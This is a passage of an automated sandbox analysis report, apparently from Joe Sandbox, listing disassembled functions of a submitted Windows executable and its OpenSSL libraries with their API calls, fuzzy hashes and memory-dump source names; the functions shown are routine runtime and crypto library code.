Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction ID: a0a583d5c4e9b4eb11940dd28d089bac495d11b262f266aa345bb5ed9e1b764c
Opcode Fuzzy Hash: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction Fuzzy Hash: 31513BA1B092A196F7249E2E94016FA7289BF84BB6F184775EF7D837D5CF3CE5018600

Function 00007FFE013B1DF7 Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

ERR_clear_error.LIBCRYPTO-3 ref: 00007FFE0140F1BC
SetLastError.KERNEL32 ref: 00007FFE0140F1C3
BUF_MEM_free.LIBCRYPTO-3 ref: 00007FFE0140F4B3

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: ErrorLastM_freeR_clear_error
String ID:
API String ID: 1231514297-0
Opcode ID: 9e1f5a9259e0aa48b60180f011c1c6fd63c9391dcfad61ef29b2cdf2ae2c5ec5
Instruction ID: 0dd0e9db35e09bdbb316626fbabb3b0b0a8cc306b04b1dcbc07c07b5a7080bf5
Opcode Fuzzy Hash: 9e1f5a9259e0aa48b60180f011c1c6fd63c9391dcfad61ef29b2cdf2ae2c5ec5
Instruction Fuzzy Hash: C6218E32E0824286F775AAA6A84127922A0FF51B54F294438DD0D4E6B6DE3DEC898651

Function 00007FF6BAF1C134 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,?,?,?,00007FF6BAF1C2CD), ref: 00007FF6BAF1C180
GetLastError.KERNEL32(?,?,?,?,?,00007FF6BAF1C2CD), ref: 00007FF6BAF1C18A

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction ID: 4fffbd1707868df3b013dc808beff5f418a6ccde39c85fdcc899dff63e5466ee
Opcode Fuzzy Hash: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction Fuzzy Hash: 5911C4A1A08B9181DA208B2AA8541B9A365EB45FF5F544371EF7D877D9CE7CD4118700

Function 00007FF6BAF1A948 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF6BAF22D22,?,?,?,00007FF6BAF22D5F,?,?,00000000,00007FF6BAF23225,?,?,?,00007FF6BAF23157), ref: 00007FF6BAF1A95E
GetLastError.KERNEL32(?,?,?,00007FF6BAF22D22,?,?,?,00007FF6BAF22D5F,?,?,00000000,00007FF6BAF23225,?,?,?,00007FF6BAF23157), ref: 00007FF6BAF1A968

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction ID: d43b1a58fc5087983d4aa4004a35a1cace6bf0269eda4c9becca82d4ae846617
Opcode Fuzzy Hash: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction Fuzzy Hash: A6E08CE0F0924243FF19ABFAA8451F81259AFC8B83F8440B4DF1DC32A1EE2C68818710

Function 00007FFDFF195B35 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDFF195B40

Strings

failed to allocate %u bytes of memory, xrefs: 00007FFDFF195B51

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: malloc
String ID: failed to allocate %u bytes of memory
API String ID: 2803490479-1168259600
Opcode ID: be3047ffbf8d3a3382a60741f12f29956a7e97552a5b0cf3e5d2d3eb3c06d507
Instruction ID: 375b7487ee2ff76b630eb9290115f9510da3df76b6c1013dc7ed03acd9862d66
Opcode Fuzzy Hash: be3047ffbf8d3a3382a60741f12f29956a7e97552a5b0cf3e5d2d3eb3c06d507
Instruction Fuzzy Hash: 13D0C719F1A60181EF240B1AB6A0A790362AF48FD8F881234CE3E8A3CDEE1CA0408340

Function 00007FF6BAF1AB58 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,00007FF6BAF1A9D5,?,?,00000000,00007FF6BAF1AA8A), ref: 00007FF6BAF1ABC6
GetLastError.KERNEL32(?,?,?,00007FF6BAF1A9D5,?,?,00000000,00007FF6BAF1AA8A), ref: 00007FF6BAF1ABD0

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction ID: faa4fc3ada2663cd303ebc9274874b28da1017cf271b8958271b2849988215fd
Opcode Fuzzy Hash: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction Fuzzy Hash: B921C6A1F086D241FA94A7A995903F9168A9F847D2F4842B9DF2EC77D1CE7CE4414300

Function 00007FF6BAF1BEAC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF1BED4

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction ID: b645be98c56e172fe66d28d6eddb97cdb0494021400a33e9849e8ec08af33ccf
Opcode Fuzzy Hash: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction Fuzzy Hash: BC41B3B2918255C7EA349B6DA5402B9B3A9EF55B92F100171EF8EC36D1CF3CE402CB91

Function 00007FFE0140EDB0 Relevance: 1.6, APIs: 1, Instructions: 102COMMON

Download Yara Rule

APIs

BUF_MEM_grow_clean.LIBCRYPTO-3(?,?,?,FFFFFFFF,00000000,?,00007FFE0140F3FE), ref: 00007FFE0140EE57

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: M_grow_clean
String ID:
API String ID: 964628749-0
Opcode ID: 1aa8bc403af585d6ad140d3c981c2ccf0944b06950901931b16cc14dda0e7e7d
Instruction ID: 88e8d3851afac1c58b5a8e5b97e73ed3e86bd8eb91ac399863b01d55b85f7655
Opcode Fuzzy Hash: 1aa8bc403af585d6ad140d3c981c2ccf0944b06950901931b16cc14dda0e7e7d
Instruction Fuzzy Hash: C1416932A0968686EB659F6AD1503793791EF80B98F088539CE4D1B7B8DF3CEC56C740

Function 00007FF6BAF07F90 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF6BAF0803A

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: aaa7b9ff11bb4346a21cc87fb8eff4a238e48d36b47c5124ab7cd44ae98a1b97
Instruction ID: 9e6273b881ec508d3efbd32884af3a5af4909c75fdd481778190e451f29c4fa5
Opcode Fuzzy Hash: aaa7b9ff11bb4346a21cc87fb8eff4a238e48d36b47c5124ab7cd44ae98a1b97
Instruction Fuzzy Hash: 7921F761B186A246FE209F2A68043FAA749BF45BD5F8C44B0EF4C87786CE7DE042C740

Function 00007FF6BAF1B93C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF1B9C2

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 0fe3e981c7cf3185d146a9a4244026f2f164e791e6f92d2a50fd94940550a020
Instruction ID: 5fed0509513ade876c3744dabf17e8c618b2f662427bccc56fe44956d2c244c4
Opcode Fuzzy Hash: 0fe3e981c7cf3185d146a9a4244026f2f164e791e6f92d2a50fd94940550a020
Instruction Fuzzy Hash: 74315EB2E1862285E6116B6D88413FC6A98AF80FA7F8101B5EF1D873D2DE7CA4428751

Function 00007FFE013B1F4B Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

BIO_ctrl.LIBCRYPTO-3 ref: 00007FFE013C06DB

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: O_ctrl
String ID:
API String ID: 3605655398-0
Opcode ID: ffacaa01b585c98eff8cdd5f9400095c95a35eb81919e94f401bdac9d3660e46
Instruction ID: ad303cfba0ea6d606816899221f17feae8965b05e5e25dd69f7abab372efebc2
Opcode Fuzzy Hash: ffacaa01b585c98eff8cdd5f9400095c95a35eb81919e94f401bdac9d3660e46
Instruction Fuzzy Hash: BE217C36709B8486E7548F61E440BDAB7A0FB89B88F484136EF8C4BB99CF3CD5408B15

Function 00007FF6BAF19961 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6BAF1998F

Part of subcall function 00007FF6BAF19A88: GetModuleHandleExW.KERNEL32 ref: 00007FF6BAF19AAD
Part of subcall function 00007FF6BAF19A88: GetProcAddress.KERNEL32 ref: 00007FF6BAF19AC3
Part of subcall function 00007FF6BAF19A88: FreeLibrary.KERNEL32 ref: 00007FF6BAF19AEA

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 42808d7c08696a35870eb95595f0ae95ff90971c005bfc8769c42bb91e99b0de
Instruction ID: 56f18e0e3639a46c6354b34bd157b79327b65016742ce91d97e95059d141885e
Opcode Fuzzy Hash: 42808d7c08696a35870eb95595f0ae95ff90971c005bfc8769c42bb91e99b0de
Instruction Fuzzy Hash: B92181B2A0479589EB258F68C4803FC33A8FB44719F44567ADB6D87AD5EF38D544C780

Function 00007FF6BAF15F94 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF15EF9

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: a0bb568fd5013d9781682fdbebef565f9a64bf3acfa08e4c55cb4253b6fc7b3f
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: F11187B1E1C66181FA60AF1994005FDA268BF85B86F4444B2FF8CD7B96CF7DD4019740

Function 00007FF6BAF26354 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF26377

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction ID: 47fcfbd16e75c16131b1fdf755de485e60c74990900a692e9855add8fab11ced
Opcode Fuzzy Hash: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction Fuzzy Hash: 12218072A18BC186EBA18F5CD4403B976A4FB84B55F144274EF9D876D9DF3DD8018B00

Function 00007FF6BAF103BC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF10410

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: 14bd3ca7331884d24faa662d47f0fb5e06d6fc3139124df820bcc4d2403e5873
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: C101C4A1B0876580EA14DF5A99410F9A699BF85FE1F4846B1EF6C97BD6CE3CE4018300

Function 00007FF6BAF08E80 Relevance: 1.5, APIs: 1, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BAF09390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6BAF045F4,00000000,00007FF6BAF01985), ref: 00007FF6BAF093C9

LoadLibraryExW.KERNEL32(?,00007FF6BAF06476,?,00007FF6BAF0336E), ref: 00007FF6BAF08EA2

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: ByteCharLibraryLoadMultiWide
String ID:
API String ID: 2592636585-0
Opcode ID: a74c40dfa2e9e12d31f5cc5422255ad6812ba8662c7c842284e7c3c49a3e7d29
Instruction ID: c6a94c9baa6de2292e6eea52cd81b6813635efe79300d2d512a6ceb63de8f790
Opcode Fuzzy Hash: a74c40dfa2e9e12d31f5cc5422255ad6812ba8662c7c842284e7c3c49a3e7d29
Instruction Fuzzy Hash: 7BD0C211F3429542EA58EB6BBA466B95255AFC9BC1F88C075EF0D47B4AEC3CC0414B00

Function 00007FF6BAF1EB98 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF6BAF1B32A,?,?,?,00007FF6BAF14F11,?,?,?,?,00007FF6BAF1A48A), ref: 00007FF6BAF1EBED

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 0190c006dd090f1dc8136ef035d08a675b61e1fdbed98732a32380f018d60316
Instruction ID: 47b098f52ce9fa83ad381b198cd9f76630000582cc73ab8554435495e9fbfe8b
Opcode Fuzzy Hash: 0190c006dd090f1dc8136ef035d08a675b61e1fdbed98732a32380f018d60316
Instruction Fuzzy Hash: EAF04994B0926341FE589A6D98952F4128A9F88B82F4C45B0DF0FC73C1EE1CA4818210

Function 00007FF6BAF1D5FC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF6BAF10C90,?,?,?,00007FF6BAF122FA,?,?,?,?,?,00007FF6BAF13AE9), ref: 00007FF6BAF1D63A

Memory Dump Source

Source File: 00000001.00000002.2148280372.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000001.00000002.2148229934.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148333131.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148380675.00007FF6BAF41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2148462328.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6baf00000_file.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction ID: 6029918ad070d9e3e00336a0aea1269941adbccf416a4cb717de1a236c2a96e2
Opcode Fuzzy Hash: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction Fuzzy Hash: 6DF0F890F0925745FE645B7959416F922AC9FD47A2F8807B4EF2EC72C2DF2CA4809650

Non-executed Functions

Function 00007FFE013B116D Relevance: 68.6, APIs: 34, Strings: 5, Instructions: 380COMMON

Download Yara Rule

APIs

EVP_MD_get_size.LIBCRYPTO-3 ref: 00007FFE014007DA
ERR_new.LIBCRYPTO-3 ref: 00007FFE014007EB
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE01400803
EVP_MD_CTX_new.LIBCRYPTO-3 ref: 00007FFE014008C8
EVP_DigestInit_ex.LIBCRYPTO-3 ref: 00007FFE014008E2
EVP_DigestFinal_ex.LIBCRYPTO-3 ref: 00007FFE014008FD
EVP_DigestInit_ex.LIBCRYPTO-3 ref: 00007FFE01400989
ERR_new.LIBCRYPTO-3 ref: 00007FFE01400992
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE014009AA
OPENSSL_cleanse.LIBCRYPTO-3 ref: 00007FFE01400DE6
OPENSSL_cleanse.LIBCRYPTO-3 ref: 00007FFE01400DF8
EVP_PKEY_free.LIBCRYPTO-3 ref: 00007FFE01400E00
EVP_MD_CTX_free.LIBCRYPTO-3 ref: 00007FFE01400E08

Strings

res binder, xrefs: 00007FFE01400876
HMAC, xrefs: 00007FFE01400BAD
